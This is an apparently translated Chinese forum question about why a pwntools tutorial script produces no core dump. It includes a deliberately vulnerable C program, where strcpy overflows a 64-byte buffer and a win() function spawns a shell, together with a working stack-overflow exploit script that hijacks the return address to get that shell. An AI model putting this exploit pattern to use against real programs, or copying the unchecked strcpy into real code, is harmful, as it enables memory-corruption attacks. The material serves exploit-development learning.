我正在尝试使用pwntools我正在学习这个教程创建核心文件以自动化利用。
代码。/碰撞可执行文件是:
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
之后,ulimit -c unlimited
如果我以足够大的输入运行可执行文件(从 bash),它就会崩溃并生成核心文件。
使用 pwntools:
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
如果我使用相同的大输入运行此脚本(从 bash,从我的用户和从 root 运行),它将崩溃,但不会生成核心文件。
我也尝试编辑该/etc/sysctl.conf
文件并设置fs.suid_dumpable = 1
我的操作系统是 Ubuntu 16.04.3 LTS x64,带有 4.4.0-89-generic 内核。